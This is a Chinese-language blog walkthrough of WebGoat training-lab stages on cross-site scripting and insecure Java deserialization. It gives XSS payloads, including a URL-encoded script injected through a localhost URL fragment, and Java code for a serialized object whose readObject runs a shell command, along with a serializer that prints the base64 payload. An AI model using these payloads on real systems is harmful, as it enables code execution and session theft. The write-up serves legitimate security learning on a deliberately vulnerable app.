WebGoat之路-5-Cross-Site Scripting & Insecure Deserialization

2020-10-07
#ctf #WebGoat

(A7) Cross-Site Scripting (XSS)

Cross-Site Scripting

Stage 2

同一个站点,cookie是相同的,所以回答yes。

Stage 7

在卡号的框里输入<script>alert("xss")</script>

Stage 10

前端路由模式,test路径在url上怎么表示。

start.mvc#test

Stage 11

可以直接访问http://127.0.0.1:8080/WebGoat/start.mvc#test/test=%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E,控制台里就会输出phoneNum了。

Stage 12

自己做吧。

(A8) Insecure Deserialization

Insecure Deserialization

Stage 5

先写一段java进行序列化

package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {
	//网页上给出的是1,但是根据提示serialVersionUID可能更新了,因此改成2
    private static final long serialVersionUID = 2;

    private String taskName;
    private String taskAction;
    private LocalDateTime requestedExecutionTime;

    public VulnerableTaskHolder(String taskName, String taskAction) {
        super();
        this.taskName = taskName;
        this.taskAction = taskAction;
        this.requestedExecutionTime = LocalDateTime.now();
    }

    private void readObject( ObjectInputStream stream ) throws Exception {
        //deserialize data so taskName and taskAction are available
        stream.defaultReadObject();

        //blindly run some code. #code injection
        Runtime.getRuntime().exec(taskAction);
    }
}

再写一个序列化的类

import org.dummy.insecure.framework.VulnerableTaskHolder;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Main{
    public static void main(String[] args) throws IOException {
        VulnerableTaskHolder vulnerableTaskHolder=new VulnerableTaskHolder("sleep","sleep 5");
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUnshared(vulnerableTaskHolder);
        String out=Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        System.out.println(out);
    }
}

把输出的内容提交就行了。

这题有一个坑,服务端的VulnerableTaskHolder和他网页上显示出来的不一样,它会检测命令是否以sleep开头(防止影响WebGoat的运行),但是powershell下,没有sleep命令。所以运行WebGoat的shell一定要是bash,windows下git bash也行。